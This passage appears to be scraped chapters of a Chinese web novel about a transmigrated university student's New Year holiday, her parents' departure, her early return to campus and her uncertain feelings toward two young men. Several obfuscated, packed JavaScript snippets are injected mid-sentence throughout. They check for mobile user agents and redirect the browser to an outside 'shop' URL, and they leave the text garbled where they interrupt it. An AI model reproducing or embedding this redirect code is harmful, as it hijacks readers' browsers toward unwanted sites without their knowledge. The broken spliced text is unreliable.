两个人又说到现在生意上的事。 今年的行情不好,原材料涨价,利润薄了,客户要求还高。 男人说年后要换供货商,女人说现在这个供货商合作了五年,换了不稳定。 两个人说了几句,语气又硬了。 谢予青看了他们一眼,两个人同时收了声,端起酒杯喝了一口。 “新年新气象,不说这些了。”男人说。 “对,过年就图个高兴。”女人说。 两个人又碰了一杯。 谢予青夹了一块排骨放到女人碗里,又夹了一块放到男人碗里。 “你们也吃。” 女人看着她,眼睛里有什么东西闪了一下,低下头,吃了那块排骨。男人也吃了,没说话,又喝了一口酒。 一顿饭吃了将近两个小时。 谢予青吃完的时候,桌上的菜还剩下大半。 男人又喝了两杯酒,脸更红了,说话开始重复,同一个故事讲了两遍。女人在旁边提醒他,他就换一个故事讲,讲完发现刚才讲过了,又换一个。 春晚开始的时候,女人站了起来,“收拾桌子。” 谢予青也站起来,开始收碗。 这次女人没有拦她,两个人一起把碗碟端进厨房。 男人把桌子抹干净,扫了地,又拖了一遍,然后坐在沙发上,打开了电视。春晚的开场歌舞正在进行,一群穿红戴绿的演员在舞台上转圈,背景是巨大的红色灯笼,舞台上的灯光闪烁,音乐声很大,传到厨房里都听得到。 女人把剩菜分门别类放进保鲜盒,盖上盖子,码进冰箱。 谢予青在刷碗,这次她用了洗碗机,一个一个码好,关门,按程序。 两个人配合了几分钟,厨房收拾干净了。 女人把手在围裙上擦了擦,走到客厅,坐到沙发上。 谢予青跟过去,坐到沙发另一头。 男人靠在沙发上,应该是酒劲上来了,眼睛半睁半闭。 电视里的节目换了一个,一个小品,演员在台上吵架,台下观众在笑。 男人没笑,闭着眼睛,呼吸变得均匀了。 女人看了一眼身边的男人,又看电视,看了几分钟,叹了一口气,站起来,从卧室拿了一条毯子出来,盖在男人身上。 男人动了一下,没醒。 小品演完了,又出来几个主持人,在台上串场,念赞助商名单,一口气念了十几家。 女人的手机响了,她接起来,是亲戚打来的拜年电话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她叹了口气,走回卧室。 出来的时候换了一身睡衣,脸上抹了护肤品,头发散下来。 “青青,我先睡了,你也早点睡。” “好。” 女人进了卧室,关了门。 客厅里只剩谢予青一个人了。 电视还开着,音量调小了,只有主持人说话的声音,一个男主持,一个女主持,在台上说着过年的吉祥话,祝福祖国繁荣昌盛,祝福全国人民幸福安康。 谢予青靠在沙发上,腿收上来,蜷在沙发垫子上。 手机这时开始不断震动。 第一条,唐笑发来的:新年快乐!祝你新的一年越来越漂亮,脱单脱单脱单! 谢予青了回了一句祝福语,加了个新年快乐。 第二条,郑圆圆发了一张自己的照片,穿着红毛衣,对着镜头比了个心,配文是新年快乐。谢予青笑着发了个表情包,回了新年快乐。 第三条,张文慧发了一个红包。谢予青点了,金额不大,一块六毛八,写了“六六大顺”。 她也回了一个小红包,写了“万事如意”。 第四条,学姐发的:谢学妹新年快乐,下学期课题继续加油。谢予青回了谢谢学姐新年快乐。 还有其他几个认识的学长学姐,同班同学,都发了祝福信息,谢予青一个个回。 26. 第 26 章 乾珩也给她发了,很简单的四个字:新年快乐。 谢予青笑着回了新年快乐。 乾珩秒回了一个表情,又发了一条文字:你现在干嘛呢? 谢予青:看电视,春晚。 乾珩:好看吗? 谢予青:一般。 乾珩:我也是,就是开着听个响。 谢予青伸手拿过杯子喝了口水,回了个一样。 乾珩又问:你那边过年热闹吗? 谢予青:还行,爸妈睡了,就我自己。 乾珩:我爸妈也睡了,我在客厅。 谢予青:在客厅干嘛,看电视吗? 乾珩:打游戏。 谢予青就随手回了一个你继续玩。 乾珩停了一会儿才回:好。 群里又开始活跃了,郑圆圆发了一段烟花,她在小区楼下拍的,烟花在夜空中炸开,小型的那种,砰地一声炸开,很漂亮的紫色,炸开后碎成满天星光,噼里啪啦一阵后消失不见,只余一缕青烟。 张文慧发了一张冻梨的照片,黑色的梨,硬邦邦的一坨,说是她们东北特产,很好吃。 谢予青看着这些消息,看完了,退出群聊。 手指在手机屏幕上滑了几下,往下翻聊天列表,在一个黑色的头像处停了下来。 夏听北。 她点进去,看了一眼对话框最后的聊天记录。 夏听北打了语音电话,她挂断了,发了一条“我在图书馆,不要打扰我”。 那是几个月前的事了。 电视里的节目换成了一个小品。 几个人在台上吵架,台词很密。 笑声从电视里传出来,谢予青听着那些笑声,又低头看一眼对话框。 鬼使神差的,她打字:新年快乐。 原本还在犹豫要不要发送,谁知手指一抖,点到了发送,一下子发了出去。 四个顿时变成了一条绿色气泡。 再撤回显得此地无银三百两,她把手机屏幕按灭,扣在腿上,颤巍巍拿了一颗糖剥开。 糖含在嘴里,她看着电视,小品演完了,掌声响起来,又下去一拨人,上来几个主持人,串词。 她把糖嘎嘣嘎嘣嚼了。 手机就在这时震了一下。 她浑身一激灵,停顿了几秒才拿起来。 夏听北:新年快乐。 谢予青心跳突然加快,血一下子冲到了脑子里,又落了回去。 她把手机屏幕关了,放到茶几上,屏幕朝下。 她深吸一口气,吸到不能再吸,又慢慢吐出来。 心跳慢下去了一点。 她跟自己说:不是她想发的,是原主。 原主的身体还记得他,原主的心脏还在为他跳。 原主喜欢了他那么久,看到他的消息当然会有反应。 电视里的节目在继续。 一个唱歌的节目,歌手站在台上,身后是交响乐团,舞台上的灯光很亮,照着歌手的蓝色礼服,亮闪闪的。 谢予青看着那个歌手唱歌,歌词一句也没听进去。 她把手机翻过来。 屏幕亮了。 夏听北的对话框还开着。 他又发了一条消息。 夏听北:你那边下雪了吗? 谢予青看着这条消息,手指开始发麻。 窗外突然响起鞭炮声,把她吓了一跳。 等鞭炮声结束,她打了两个字:没有。 发了出去。 夏听北秒回了。 发了一个表情,雪人的表情,然后又发了一条消息。 夏听北:我这下了,很大。 谢予青下意识看向窗外。 窗外没有雪,树是秃的,地是干的,路灯照着空荡荡的小区。 他在的地方下雪了。 她不知道他具体在哪,原著里写过他的家庭,她没仔细看,只记得他家在A市,离学校不远。 除夕夜下雪了,他那里下了很大的雪,她这里没下。 她不知道回什么。 犹豫了一会儿,她又把手机放回茶几上。 电视里的歌手唱完了,又上了一个小品。 谢予青靠在沙发上,蜷着腿,碰到遥控器,遥控器滑了一下,掉在了地上,她也没管。 心跳已经恢复正常了,手不麻了,脸上的温度也降下来了。 她想起自己刚才的反应,有点好笑。 就一条新年快乐,就四个字,她心跳成那样。 原主。 是原主。 原主在他身上投入了那么多感情,身体有记忆。 看到他的消息,身体先反应了,心跳加速,手指发麻,注意力全部被吸过去。 这些反应不是她的,她没有喜欢他,她只是借用了这具身体,身体里残留着原主的情感。 她一遍一遍跟自己说。 原主的父母是匆忙的,原主的房间是普通的,原主的高中生活是不快乐的,原主追夏听北是因为太缺关注了。 她理解原主,但不能被原主的情绪牵着走。 她是谢予青,二十八岁的谢予青,不是那个十八岁的小姑娘。 电视里的小品演完了,开始放一首歌,合唱,好多人站在台上,每个人脸上都带着灿烂的笑容。 零点快到了。 主持人开始倒计时。 “十,九,八……” 谢予青把手机重新拿起来。 夏听北的对话框现在排在第三。 她看着那个黑色头像。 电视里倒计时到了。 “三,二,一——新年快乐!” 电视里爆发出巨大的欢呼声,掌声,音乐声混在一起。 外面的鞭炮声同时响起来,噼里啪啦的,从四面八方涌过来,把电视的声音盖住了。 烟花也炸开了,窗外的天空被映得忽明忽暗,红的,黄的,绿的光轮流照进客厅。 谢予青没有抬头看窗外,也没有看电视。 她盯着手机屏幕,盯着那个黑色头像。 鞭炮声持续了好几分钟,窗户被震得轻微颤动,玻璃发出嗡嗡的细响。 她按了锁屏键,屏幕黑了。 手机扣在腿上,她靠在沙发上,仰头看着天花板。 过了一会儿,她弯腰捡起遥控器,关了电视。 客厅暗下来。 谢予青在黑暗里坐了几分钟,站起来,关了客厅的灯,往卧室走。经过男人的时候,他还在沙发上睡着,鼾声比之前更重了,毯子滑到地上。 谢予青蹲下来捡起毯子,盖回到他身上。 他动了一下,嘴里含混地说了一句什么,谢予青没听清,也没仔细去分辨,径直回了自己房间。 大年初三早上,谢予青被客厅里的说话声吵醒了。 她伸手摸到手机看了一眼,七点刚过。 两个人压着嗓子在说话,嘁嘁喳喳的。 她躺了一会儿,听到厨房的排油烟机响了,还有碗碟碰在一起的声音。 她坐起来,换了衣服,推门出去。 女人在厨房里做饭,围裙系在腰上,正在往锅里倒油。 男人在餐桌旁边打包东西,一个纸箱放在地上,他正往里塞东西。 “怎么起这么早?”女人从厨房探出头,“再睡会儿,饭还得一会儿。” “醒了。” 谢予青去卫生间洗漱。 出来的时候,餐桌上已经摆好了早餐。 小米粥,煎蛋,一碟酱菜,几个花卷。 女人还在厨房忙活,最后端了一盘炒青菜出来,放在餐桌中央。 三个人坐下来,开始吃饭。 男人吃到一半,放下筷子,看着女人,“车几点?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530620|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “九点。” “那吃完收拾一下就走。” 谢予青端粥碗的手停了一下。 她抬头看了看男人,又看了看女人。 两个人都很自然,男人说完继续吃饭,女人夹了一筷子青菜放进嘴里,两个人谁都没有看谢予青。 这是……要走了? 都没跟她说一声? 她相当震撼,但是没有表现出来。 垂下眼睛,喝了一口粥。 小米粥表面结了一层膜,她用筷子挑开,使劲搅了搅,又吹了几口,这才慢悠悠喝了一口。 “你们今天就走?”她咽下去,问。 “对,公司初五就开工,提前过去收拾收拾,以往都是这样呀,”女人说着,从口袋里掏出手机看了一眼时间,又放回去,“你在家好好待着,冰箱里东西够吃好几天,吃完了再买就行,你什么时候开学?” “我准备初五就回去。” 女人看了她一眼,“初五?这么早?” “学校有点事。” 女人没问什么事,只是点点头,把碗里最后一口粥喝完了,“行,那你走之前把冰箱里的东西处理一下,能吃的吃掉,不能吃的扔掉,或者冻起来。” “好。” 男人站起来,去卧室换衣服了。 女人开始收碗,动作很快,碗叠在一起发出清脆的碰撞声。 谢予青也站起来,帮着收,两个人把碗端进厨房。 “你回了学校好好吃饭,别老凑合。”女人头都没回,用力擦灶台。 “嗯。” “钱够不够?” “够。” “不够跟妈说。” “好。” 女人关了水龙头,把抹布放在灶台上,洗了手,转过身来看着谢予青。 她的手在围裙上擦了两下,伸手在谢予青脸上摸了一下。 谢予青想说什么,女人已经转身去解围裙了。 男人从卧室出来了,换了一身衣服,深蓝色夹克,里面是高领毛衣,头发打了发胶,整个人看起来跟在家时完全不一样。 女人也去换了衣服,出来的时候穿着一件驼色大衣,化了淡妆,头发盘起来。 “青青,我们走了。”女人站在门口,手里拎着包,回头看谢予青。 “路上慢点。”谢予青走到门口,站在玄关。 “冰箱里的排骨你这两天炖了吃,放久了不好。” “知道了。” 女人看着她,笑了一下,转身走了。 男人走在前面,已经按了电梯,电梯门开了,他按住开门键等女人进去,两个人一起进了电梯。 门关上前,女人又看了谢予青一眼。 电梯门合上了。 走廊里安静下来。 谢予青站在门口,看着那扇关上的门,站了几秒,关上了自己家的门。 客厅空了。 餐桌上还摆着喝了一半的水杯,茶几上有男人落下的打火机,阳台上晾着女人昨天洗的一件毛衣。 谢予青把水杯收了,打火机放到玄关柜上,毛衣收了叠好放在沙发上。 她站在客厅中央,周围很安静。 楼下有人放鞭炮,噼里啪啦一阵。 她回到卧室,坐了一会儿。 接下来的两天,谢予青一个人在家。 早上睡到自然醒,给自己煮碗面或者热一碗剩菜,吃完看书,看累了看电影,电影看完了收拾东西。 她把冰箱里的东西清理了一遍,排骨炖了,吃不完的冻起来。 初四晚上,她给女人发了条消息:我明天回学校了。 女人回了一个字:好。 过了几分钟,又发了一条:钱转你卡上了。 谢予青查了一下银行卡余额,多了一万。 她看着那个数字,愣了下,收款后回了一句“收到了,谢谢妈”。 27. 第 27 章 初五早上,她拉着行李箱出了门。 小区里还有鞭炮的碎屑,红纸铺了一地,风一吹,纸屑贴着地面跑。 大巴两个小时,到了学校所在的城市。 她打车回了学校。 学校大门开着,保安探头看了她一眼,没说什么。 校园里空荡荡的,路上只有她一个人,行李箱咕噜咕噜,声音传得很远。 梧桐树还是光秃秃的,枝丫上挂着几片没掉干净的枯叶,风一吹,叶片转了几下,没有掉下来。 宿舍楼没开。 门口贴了一张通知,白纸黑字,写着寒假宿舍楼封闭的时间安排,旁边手写了一行小字:提前返校的同学请到七号楼临时宿舍办理入住。 七号楼在校园的另一边,一栋旧楼,平时不住人,寒假临时开放。 谢予青拉着箱子走过去,楼门开着,走廊里有一股潮味。 值班室坐着一个阿姨,正在嗑瓜子,瓜子壳堆了一小堆。看到谢予青,阿姨把手里没嗑完的瓜子放到桌上,从抽屉里拿出一把钥匙。 “哪个院的?” “生科院。” “三楼,306,钥匙别丢了,押金五十,走的时候退。” 谢予青交了押金,拿着钥匙上楼。 每一层走廊都黑漆漆的,声控灯不太灵光,跺了两脚才亮,灯亮了也是昏黄的,照着地上的水泥地。 306的门推开,跟她住的宿舍一样的格局,四张床,上床下桌,只有靠窗的一张铺了床垫,大概是前面来的人留下的。 谢予青把行李箱放好,先打扫了一遍卫生,又申请回自己宿舍抱了一床被子,收拾好后,一身汗。 她想,还不如在外边找个酒店住了,真麻烦。 不过这里倒是很安静,也有暖气,独立卫生间里还有热水器,插卡就能洗澡,也还算方便。 既来之则安之吧。 她站在窗前朝远处看,外面是篮球场,几个篮筐孤零零地立在那里,球场上一个人都没有。 远处是图书馆,灰色的楼体在冬天的阳光下显得更灰了。 收拾完东西,她去了图书馆。 图书馆只开了一楼,借阅室亮着灯,透过玻璃门能看到里面的书架。 值班的老师坐在前台,手里拿着一本厚书在看,抬头看了她一眼,又低下头去了。 借阅室里没有人,一排一排书架整齐地排列着。 谢予青走到生物类的书架前,挑了一本植物生理学,坐到靠窗的位置。 看了两个小时,天暗下来了。 食堂只开了一个,窗口也只有一个,卖套餐,一荤两素,一份米饭。 谢予青端着餐盘找了个位置坐下,食堂里零星坐着几个人,要么戴着耳机,要么刷手机,各自吃各自的。 和平常人声嘈杂的样子完全不同。 回宿舍的路上,天彻底黑了。 路灯亮着,橘黄色的光照着空荡荡的校园。 她洗漱完,躺到床上。房间里没有别人,其余的床都是空的,铺着光秃秃的床板,她一个人躺在一间大屋子里,心里觉得有点空落落的。 手机震动。 乾珩发了一条消息:你回学校了吗? 谢予青犹豫了一会儿,回了两个字:回了。 乾珩:我明天到。 谢予青:好。 乾珩:明天一起吃饭? 谢予青:可以。 初六早上,谢予青醒得很早。 吃了早饭,去图书馆看了会儿书。 到了中午,乾珩打来电话。 她走到门口走廊接起来,“喂。” “我刚到学校,你在哪?”乾珩的声音从听筒里传出来,带着一点长途奔波后的疲惫。 “图书馆。” “我可能要晚上才收拾好,一起吃晚餐?” 谢予青怎么都行,随口应道:“可以。” “那好,一会儿我再给你打电话,上次火锅你请的,这次我请。” 谢予青笑笑:“都可以。” 中午她在食堂随便吃了点,又去图书馆看书,傍晚的时候,乾珩打电话要她去校门口,她合上书,把书放回书架,出了图书馆。 走到校门口的时候,乾珩已经站在那里了。 他穿着一件深灰色的外套,围着一条黑色围巾,金丝眼镜架在鼻梁上,手里拿着手机,正在看屏幕。 路灯照在他身上,深灰色外套的肩膀上有一道亮光。 他抬头看到了谢予青,马上把手机收起来,对着她笑:“走吧。” 两个人出了校门。 后门那条街上,因为都是依托学校做大学生生意的,所以大部分店铺还关着门,卷帘门上贴着各种告示,写着几号开门。 走了一段路,终于看到一家韩国料理店开着门。 “这家行吗?”乾珩问。 “行。” 两个人推门进去。 店里没有客人,老板坐在柜台后面看手机,看到有人进来,站起来招呼他们。 空气里有股烤肉酱的甜味,混着炭火的烟气。 他们找了个靠窗的位置坐下。 乾珩拿起菜单翻了翻,递给谢予青。 “你点。” 谢予青接过来,点了五花肉,牛肉,一份大酱汤,一份炒年糕。 乾珩又加了一份炸鸡和一盘泡菜。 炭火端上来了,烤盘烧热,发出嗞嗞的声音。 服务员把肉端上来,五花肉片在盘子里叠成一座小山,红色的瘦肉和白色的肥肉相间。 乾珩夹起一片五花肉,放到烤盘上。 肉片接触到热铁盘的一瞬间,嗞的一声,冒出一股白烟。他又夹了几片,整整齐齐地排在烤盘上。 “寒假过得怎么样?”他一边撒烧烤料一边问。 “还好,你呢?”谢予青帮他倒了杯大麦茶,推给他。 “也还好,在家待了几天,胖了三斤。”乾珩自嘲地笑了笑,端起杯子喝了一口。 谢予青看了他一眼,没觉得有什么变化。 肉的一面烤熟了,乾珩拿夹子翻面。 烤肉的焦香味浓烈起来,混着孜然的香气钻进鼻腔,谢予青的肚子叫了一声,咕噜一下,还挺响,乾珩听到了,很轻地笑了笑。 “饿了?” “有点。”谢予青揉了揉肚子。 肉烤好了,乾珩夹起一片放到谢予青碗里。她用生菜叶包了肉,蘸了酱,塞进嘴里。 肉烫,但是又烫又香,谢予青呲牙咧嘴地嚼着,不忘记用手给乾珩点了个赞。 乾珩笑着看她,也给自己夹了一块。 两个人一边吃一边聊寒假的事。 乾珩说他回家见了几个高中同学,大家聚在一起吃饭,聊了一下午。 谢予青说自己都没怎么出门,本来也不爱社交。 这倒是实话,她原本的性格就是这样,当了社畜后更不爱社交了,再加上人生地不熟,她没必要去。 她记得大年初二,微信里有一个高中同学的群艾特她,问她去不去同学聚会,她推说有事,后来就没人喊她了,她也乐得清静。 至于走亲戚……她原本都做好思想准备了,到时候就尽量少说话,可谁知,她完全多虑了。 她家压根没亲戚可走。 原主爸爸那边,父母都已去世,有个妹妹在外地,平时不怎么走动。妈妈那边,所有亲戚也都在外地,平时妈妈偶尔会去看望他们,只是过年不去。 不过原主爸妈也没闲着,大年初一给人送礼去了,初二倒是在家里呆了一天。 原主这生长环境确实挺闷的,但是谢予青觉得这样很好,很清静,父母也不怎么管她,非常自由。 是她之前一直羡慕的那种自由。 她爸妈就是太爱管她了,插手太多,搞得她每天闷闷不乐,又没有勇气反抗。 两个人聊着,肉一盘一盘地烤,一盘一盘地吃完。 谢予青开始觉得饱了,她也不知道自己究竟吃了多少,等回过神来的时候,肚子已经鼓鼓的了。 她一边揉着肚子,一边端起旁边的大麦茶喝了一口,抬头一看,发现乾珩正在看着他。 她把杯子放下,移开视线,假装没有看到。 其实,在吃饭的过程里,谢予青几次抬头,都看到乾珩在看她。 他看她的时候眼睛里有光。 她知道那种光是什么意思。 一个人对另一个人有意思的时候,眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532967|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里会有那种光。 她知道那意味着什么。 刚开始认识乾珩的时候,他看她的眼神不是这样的。 那时候他的眼神很干净,就是学长看学妹的眼神,亲切,温和,有礼貌。 不知道从什么时候开始变了,也许是医务室那次,也许是火锅店那次,也许是更早,她自己都没注意到的时候。 乾珩又看过来,然后很快低下了头。 他应该也不是故意的,只是,对面坐着自己喜欢的人,很难忍住不去看几眼。 谢予青表情一直都是淡淡的。 她夹了一块萝卜泡菜放进嘴里,酸,辣,咸,吃在嘴里脆脆的,很清爽。 她咽下去,端起杯子喝了口水。 “开学有什么打算?”乾珩问。 “继续做课题,张教授说下学期可以申请一个大学生创新项目。” “挺好的。” “你呢?” “准备考研,可能报本校。” “建筑系的研究生?” “对。” 两个人又聊了一会儿考研的事。 乾珩说专业课还没开始复习,英语和政治也还没开始,寒假在家一个字都没看。 谢予青说现在还早,来得及,乾珩说也是,还有一年。 饭吃完了。 桌上剩了几片肉和一碟泡菜,大酱汤见了底,炒年糕还剩几块。 乾珩叫老板结了账。 两个人出了店门,往后门那条街走。 谢予青走在乾珩左边,两个人肩与肩之间隔了一米左右。 乾珩走得慢,谢予青也走得慢。 两个人没有说话,沉默在两个人之间铺开。 走到学校门口,铁门开着。 谢予青迈上台阶的时候,右脚踩到了一个不平的地方,鞋底滑了一下,脚踝一歪,整个人往旁边倒。 乾珩的手伸过来,稳稳地扶住了她的胳膊。 他的手很有力,捏在她穿着羽绒服的胳膊上,隔着厚厚的面料,依然能感觉到他手指的力量。 谢予青站稳了。 “崴脚了没?”乾珩的声音有点紧。 谢予青活动了一下脚踝,不疼,“没事,踩空了。” 她抬头对他笑了一下。 乾珩的手还扶着她的胳膊,没有立刻松开。 他低头看着她,路灯的光落在他脸上,他的眼睛在镜片后面,亮亮的。 谢予青把手从乾珩手里抽出来。 “谢谢。”她不再看他。 “不用谢。”乾珩把手收回去,插进外套口袋里。 两个人在校门口站了一会儿,谢予青不知道该跟他说些什么。 “那我回去了。”乾珩说。 谢予青赶紧点头,“好,早点休息。” “你也是。” 乾珩转身往左走了。 谢予青转过身,往宿舍的方向走。 走了两步,她停下来。 校门内侧的路灯旁站着一个人。 夏听北站在那里,不知站了多久,他没有站在光里,而是在光的一侧,几乎淹没在黑暗中,看不清表情。 手机拿在手里,屏幕亮着,但他的眼睛没有看手机,在看谢予青。 谢予青脚步停了下来,脑袋都是懵的,完全没有想到会在这里遇到这个人。 两个人之间的距离大约二十米。 路灯在他们中间,光照着地面,照出两个人影,一个在这头,一个在那头,中间是一长段空白的水泥地。 风从两个人之间吹过去。 他低下头,把手机屏按灭,揣进大衣口袋。 然后抬头看了她一眼,转身走了,身影很快融进夜色里。 路灯下什么都没有了,只剩一块被照亮的空地。 谢予青站在原地,脚没有动。 手插在口袋里,手指摸到了手机硬硬的边。 她把它握住,又松开。 她不知道自己站了多久。脚底传来一阵凉意,从鞋底慢慢往上渗,渗到脚踝,渗到小腿。 她的腿有点冷,手指也冷了。 一阵风吹过,她的脸上一阵刺痛,这才回过神来,深吸一口气,继续往宿舍走。 28. 第 28 章 游魂一样飘到宿舍门口,她停下来,在口袋里摸钥匙,摸了半天才摸到,手指冻得有点僵,有些不听使唤,找了半天才找到锁眼。 门开了,她推门进去。 房间里很黑,她没有立即开灯,而是站在黑暗中,沉默了一会儿。 她的心有些异样,像是什么东西在慢慢膨胀。 站了一会儿,她脱了外套,去卫生间洗漱好后,换上睡衣,躺到床上。 他怎么也提前回学校了? 他不是本市的吗?他家就在这个城市,除夕夜他说他那里下雪了,说明他回家了。 那为什么才初六就回来了? 学校没什么人,食堂只开了一个窗口,图书馆只开了借阅室,连宿舍都不是原来的宿舍。 他回学校做什么? 她想起刚才他看她的那个眼神,平静的,没有表情的。 他当时,在想些什么? 手机震了一下,她拿起来,乾珩的消息:到宿舍了? 谢予青回:到了。 乾珩:早点睡。 谢予青:你也是。 她把手机放在枕头边,关了灯,把被子蒙住头。 黑暗更浓了,被子里全是她自己的呼吸,潮湿的,热的。 她睁着眼睛,什么都看不见,只感觉到自己的心跳。 她不想承认。 那些心跳不是她的,是原主的。 那种在看到一个人之后整个人的注意力都被吸过去的感觉,那种在黑暗里反复回想一个人的感觉,那种心里堵得慌的感觉——全都是原主的。 被窝里的空气变得稀薄了。 她把被子掀开一条缝,冷空气涌进来,她把被子重新盖好。 她眨眨眼睛,又想到了乾珩,想起在医务室里,他说“那这样的话,意思就是我有机会了”,说完马上补了一句“我开玩笑的”。 那句话是试探,试探完立刻收回去,怕把她吓跑。 根本不是开玩笑。 她一直都知道不是开玩笑。 她只是假装相信了。 后来乾珩没有再提过那句话。 他做得很好,保持距离,不远不近,像一个普通的学长对待一个普通的学妹。 请她吃饭,跟她聊天,聊的也是很正经的考研话题,一点暧昧话题都没有,在她没站稳时扶她一把,在她笑的时候也笑一下。 他不往前迈,也不往后退。 她能感觉到他们之间隔着一层东西。 在每一次对视里,在每一次对话的间隙里。 那层东西把她和乾珩之间的距离变成了一个不稳定的数字,忽远忽近,忽远忽近。 她对那层东西的感觉在变化。 刚开始是亲切。 乾珩长得好看,性格好,对谁都温和。 她觉得他很亲近,是那种在路上遇到了可以停下来聊很久的人。 后来那种亲切感慢慢变淡了,变成了一种说不清的疏远。 她开始刻意不去看他的眼睛,开始不那么频繁地回他的消息,开始在他约她的时候犹豫一下才答应。 她不知道为什么。 医务室那句话之后,一切都变了。 那句话像一根针,戳破了一层纸。 纸的这边是普通朋友,纸的那边是别的什么东西。 她被推到了纸的那一边,然后就回不来了。 其实,她很怕那种光。 她怕一个人用那种眼神看她,因为她不知道怎么回应。 以前也有人用那种眼神看过她。 她不知道怎么回应,就装作不知道。 装作不知道久了,那个人就走了。 走了以后她松了一口气,然后又有一点后悔。 后悔也只是一瞬间的事,很快就过去了。 现在乾珩用那种眼神看她,她又开始装作不知道。 但她装得不好。 她不敢看他的眼睛,跟他单独在一起的时候会心不在焉,会觉得时间过得很慢。 她搞不清楚自己对他到底是什么感情。 一开始的心动是真的,医务室里他扶着她的腰把她抱起来,她的心跳很快。 后来那种心动慢慢消失了,再看到他的时候,她的心情很平稳。 而她想起夏听北的时候,大脑会自动停止思考。 她甚至没有意识到,这种感觉到底是从什么时候开始的。 之前明明只是把他当成小屁孩,刚穿过来的时候也干脆利落地跟他分手了。 可是现在是怎么了?明明他也没做什么,甚至做了一些让她不开心的事情,所以自己到底为什么会被他吸引? 不应该再想了。 她叹了一口气。 她只能在这儿待三年,现在已经过去半年了。 她来这儿不是为了谈恋爱的。 马上就要开学了,她想,或许是这段时间放假太闲了,所以才有功夫想东想西,等开学了之后,她要让自己更加充实起来,这样,就不会有这些奇奇怪怪的念头了。 被窝里的温度升高了,她把手伸出来,放在被子外面。 手很快凉了,她没缩回去。 窗外的光从窗帘缝里漏进来,照在她伸出来的手上,手背的皮肤很白,骨节分明,指甲剪得整整齐齐。 她的手指慢慢弯曲,比成了一个放松状,又慢慢伸直,最后握成了一个拳头。 终于开学了。 校园里重新挤满了人。 食堂每个窗口都开了,打饭要排队,找座位要眼疾手快。图书馆的自习室又回到了一座难求的状态,走廊上背书的声音从早响到晚。 梧桐树上冒出了嫩绿色的新芽,一小点一小点,凑近了才能看清楚。玉兰花开了几朵,白色的花瓣在枝头立着,风一吹就落下来一片。 谢予青想,之前那些乱七八糟的想法,都是因为太闲了。 放假的时候一个人待着,脑子空出来,不想正经事,就想那些有的没的。现在开学了,实验报告要写,课题组的文献要看。 脑子里塞满了这些,连吃饭的时候都在想实验设计,哪里还有功夫想别的。 她把生物化学课本翻开,看糖酵解途径。 十步反应,每一种酶的化学本质,每一种产物的分子结构。 她把十步反应默写了两遍,又看了一遍,把写错的重新写了一遍。 下课铃响,她合上笔记本,走出教室。 唐笑在旁边有些纠结,李奕周末约她去看电影,她还没想好要不要去。 谢予青也不好给她出主意,就随便应了两声。 这时,她的手机震了一下,林楠在生物社群里发了一条消息。 林楠:周日上午去农科院参观,名额有限,想去的接龙。 谢予青在接龙里打了自己的名字,发出去。 林楠:收到。周日上午八点,学校南门集合,大巴统一出发。 她把手机揣回兜里,去食堂吃饭。 下午是实验课,做植物组织培养,无菌操作台的风呼呼地吹,酒精灯的火焰在气流里摇摆。 她用镊子夹着外植体,切口朝下插入培养基。 培养基是MS培养基,加了6-BA和NAA,激素比例1:10,诱导愈伤组织。 她把瓶口过火,盖上盖子,写上日期,放到培养架上。 走出实验室,在走廊上遇到了张教授。 张教授手里拿着一沓论文抽印本,看到谢予青,叫住她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533071|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小谢,上学期的课题数据整理好了吗?” “整理好了。” “这周把初稿写出来,我先看看。” “好。” 谢予青接过张教授递来的几篇参考文献,回了宿舍。 晚上吃完饭,她坐到书桌前,打开电脑,开始写课题初稿。 手机在桌上震动了几下。 她没看,脑子乱糟糟的,写了一会儿,稍微有点眉目了,她才终于拿起手机看了一眼。 原来是林楠在生物社群里发了最终参与的名单。 谢予青往下划,在名单中间看到了自己的名字,又往下划了两行,看到了夏听北三个字。 她放下手机,继续写。 周日早上七点半,谢予青到了南门。 大巴已经停在路边了。 林楠站在车门旁边,手里拿着签到表,正在跟旁边的人说话。 看到谢予青,她招了招手,“来,签个字。” 谢予青在签到表上找到自己的名字,打了个勾,上了车。 车上已经坐了不少人,三三两两地聊着天。 谢予青往后走,找了个靠窗的位置坐下。 她把双肩包放在腿上,从里面掏出耳机,塞进耳朵里,调了一首纯钢琴曲。 